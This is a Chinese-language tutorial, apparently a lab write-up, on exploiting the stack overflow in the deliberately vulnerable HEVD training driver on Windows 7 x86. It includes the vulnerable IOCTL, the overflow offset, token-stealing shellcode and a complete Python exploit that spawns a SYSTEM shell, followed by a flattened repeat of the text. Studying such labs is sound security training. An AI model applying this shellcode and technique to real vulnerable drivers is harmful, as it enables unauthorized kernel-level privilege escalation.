HEVD内核漏洞 — Windows 7 x86 栈溢出
字数 1342 2025-08-24 10:10:13

HEVD内核漏洞利用教程:Windows 7 x86栈溢出

1. 概述

本教程详细讲解如何利用HackSys Extreme Vulnerable Driver (HEVD)中的栈溢出漏洞,实现在Windows 7 x86系统上的权限提升。HEVD是一个专门设计用于安全研究的漏洞驱动程序,运行在内核模式(ring 0)下。

2. 前置知识

2.1 内核驱动基础

  • 内核驱动程序运行在ring 0权限
  • 用户空间通过DeviceIoControl API与驱动通信
  • IOCTL(Input/Output Control Code)指定要调用的驱动功能

2.2 关键API

CreateFileA

HANDLE CreateFileA(
  LPCSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
);

DeviceIoControl

BOOL DeviceIoControl(
  HANDLE hDevice,
  DWORD dwIoControlCode,
  LPVOID lpInBuffer,
  DWORD nInBufferSize,
  LPVOID lpOutBuffer,
  DWORD nOutBufferSize,
  LPDWORD lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

3. 漏洞分析

3.1 定位漏洞函数

  1. 使用IDA分析HEVD.sys
  2. 查找IrpDeviceIoCtlHandler函数
  3. 跟踪到TriggerStackOverflow函数

3.2 确定IOCTL代码

  • 通过逆向分析确定触发栈溢出的IOCTL: 0x222003
  • 该IOCTL对应FILE_DEVICE_UNKNOWN设备类型

3.3 栈溢出机制

  • 驱动将用户提供的缓冲区直接复制到固定大小的栈缓冲区
  • 无长度检查导致栈溢出
  • 可覆盖返回地址控制EIP

4. 漏洞利用步骤

4.1 环境准备

  • 设置内核调试环境(WinDBG)
  • 加载HEVD符号
  • 设置断点: bp HEVD!TriggerStackOverflow

4.2 确定偏移量

  1. 发送3000字节的"A"字符导致崩溃
  2. 使用msf-pattern_create生成唯一模式
  3. 确定EIP覆盖偏移为2080字节

4.3 构造利用代码

4.3.1 获取驱动句柄

def create_file():
    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        0xC0000000,  # GENERIC_READ | GENERIC_WRITE
        0,
        None,
        0x3,  # OPEN_EXISTING
        0,
        None
    )
    return hevd

4.3.2 准备Shellcode

shellcode = bytearray(
    "\x60"              # pushad
    "\x31\xc0"          # xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"  # mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"      # mov eax,[eax+0x50]
    "\x89\xc1"          # mov ecx,eax
    "\xba\x04\x00\x00\x00"  # mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"  # mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"  # sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"  # cmp [eax+0xb4],edx
    "\x75\xed"          # jnz 0x1a
    "\x8b\x90\xf8\x00\x00\x00"  # mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"  # mov [ecx+0xf8],edx
    "\x61"              # popad
    "\x5d"              # pop ebp
    "\xc2\x08\x00"      # ret 0x8
)

4.3.3 设置内存权限

usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
kernel32.VirtualProtect(
    usermode_addr,
    c_int(len(shellcode)),
    c_int(0x40),  # PAGE_EXECUTE_READWRITE
    byref(c_ulong())
)

4.3.4 构造并发送Payload

payload = struct.pack("<L", ptr)
buf = "A" * 2080 + payload
kernel32.DeviceIoControl(
    hevd,
    0x222003,  # Vulnerable IOCTL
    buf,
    len(buf),
    None,
    0,
    byref(c_ulong()),
    None
)

4.4 Shellcode解析

该Shellcode实现了令牌窃取(Token Stealing)技术:

  1. 获取当前进程的EPROCESS结构
  2. 遍历进程链表找到SYSTEM进程
  3. 复制SYSTEM进程的令牌到当前进程
  4. 恢复寄存器状态
  5. 正确处理函数返回(pop ebp; ret 8)

5. 完整利用代码

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

def create_file():
    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        0xC0000000,
        0,
        None,
        0x3,
        0,
        None
    )
    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
    return hevd

def send_buf(hevd):
    shellcode = bytearray(
        "\x60"              # pushad
        "\x31\xc0"          # xor eax,eax
        "\x64\x8b\x80\x24\x01\x00\x00"  # mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"      # mov eax,[eax+0x50]
        "\x89\xc1"          # mov ecx,eax
        "\xba\x04\x00\x00\x00"  # mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"  # mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"  # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"  # cmp [eax+0xb4],edx
        "\x75\xed"          # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"  # mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"  # mov [ecx+0xf8],edx
        "\x61"              # popad
        "\x5d"              # pop ebp
        "\xc2\x08\x00"      # ret 0x8
    )
    
    print("[*] Allocating shellcode character array...")
    usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
    ptr = addressof(usermode_addr)
    
    print("[*] Marking shellcode RWX...")
    result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )
    
    if result != 0:
        print("[*] Successfully marked shellcode RWX.")
    else:
        print("[!] Failed to mark shellcode RWX.")
        sys.exit(1)
    
    payload = struct.pack("<L", ptr)
    buf = "A" * 2080 + payload
    buf_length = len(buf)
    
    print("[*] Sending payload to driver...")
    result = kernel32.DeviceIoControl(
        hevd,
        0x222003,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )
    
    if result != 0:
        print("[*] Payload sent.")
    else:
        print("[!] Unable to send payload to driver.")
        sys.exit(1)
    
    try:
        print("[*] Spawning cmd shell with SYSTEM privs...")
        Popen('start cmd', shell=True)
    except:
        print("[!] Failed to spawn cmd shell.")
        sys.exit(1)

hevd = create_file()
send_buf(hevd)

6. 调试技巧

  1. 设置符号路径: sympath + <HEVD.pdb路径>
  2. 重新加载符号: .reload
  3. 启用内核调试输出: ed Kd_DEFAULT_Mask 8
  4. 设置断点: bp HEVD!TriggerStackOverflow
  5. 单步执行: p (按Enter重复)

7. 注意事项

  1. 确保驱动缓冲区大小不超过0x800字节(2048字节)
  2. Shellcode必须正确处理函数返回(pop ebp; ret 8)
  3. 用户空间缓冲区需要设置为可执行(PAGE_EXECUTE_READWRITE)
  4. 在Windows 7 x86上测试通过
  5. 使用Python 2.7以避免字符串编码问题

8. 扩展阅读

  1. Windows内核驱动架构
  2. IOCTL编码机制
  3. 内核对象和EPROCESS结构
  4. 令牌权限模型
  5. 其他内核漏洞利用技术

通过本教程,您应该能够理解并成功利用HEVD驱动中的栈溢出漏洞,实现从用户模式到内核模式的权限提升。

HEVD内核漏洞利用教程:Windows 7 x86栈溢出 1. 概述 本教程详细讲解如何利用HackSys Extreme Vulnerable Driver (HEVD)中的栈溢出漏洞,实现在Windows 7 x86系统上的权限提升。HEVD是一个专门设计用于安全研究的漏洞驱动程序,运行在内核模式(ring 0)下。 2. 前置知识 2.1 内核驱动基础 内核驱动程序运行在ring 0权限 用户空间通过DeviceIoControl API与驱动通信 IOCTL(Input/Output Control Code)指定要调用的驱动功能 2.2 关键API CreateFileA DeviceIoControl 3. 漏洞分析 3.1 定位漏洞函数 使用IDA分析HEVD.sys 查找 IrpDeviceIoCtlHandler 函数 跟踪到 TriggerStackOverflow 函数 3.2 确定IOCTL代码 通过逆向分析确定触发栈溢出的IOCTL: 0x222003 该IOCTL对应 FILE_DEVICE_UNKNOWN 设备类型 3.3 栈溢出机制 驱动将用户提供的缓冲区直接复制到固定大小的栈缓冲区 无长度检查导致栈溢出 可覆盖返回地址控制EIP 4. 漏洞利用步骤 4.1 环境准备 设置内核调试环境(WinDBG) 加载HEVD符号 设置断点: bp HEVD!TriggerStackOverflow 4.2 确定偏移量 发送3000字节的"A"字符导致崩溃 使用 msf-pattern_create 生成唯一模式 确定EIP覆盖偏移为2080字节 4.3 构造利用代码 4.3.1 获取驱动句柄 4.3.2 准备Shellcode 4.3.3 设置内存权限 4.3.4 构造并发送Payload 4.4 Shellcode解析 该Shellcode实现了令牌窃取(Token Stealing)技术: 获取当前进程的EPROCESS结构 遍历进程链表找到SYSTEM进程 复制SYSTEM进程的令牌到当前进程 恢复寄存器状态 正确处理函数返回(pop ebp; ret 8) 5. 完整利用代码 6. 调试技巧 设置符号路径: sympath + <HEVD.pdb路径> 重新加载符号: .reload 启用内核调试输出: ed Kd_DEFAULT_Mask 8 设置断点: bp HEVD!TriggerStackOverflow 单步执行: p (按Enter重复) 7. 注意事项 确保驱动缓冲区大小不超过0x800字节(2048字节) Shellcode必须正确处理函数返回(pop ebp; ret 8) 用户空间缓冲区需要设置为可执行(PAGE_ EXECUTE_ READWRITE) 在Windows 7 x86上测试通过 使用Python 2.7以避免字符串编码问题 8. 扩展阅读 Windows内核驱动架构 IOCTL编码机制 内核对象和EPROCESS结构 令牌权限模型 其他内核漏洞利用技术 通过本教程,您应该能够理解并成功利用HEVD驱动中的栈溢出漏洞,实现从用户模式到内核模式的权限提升。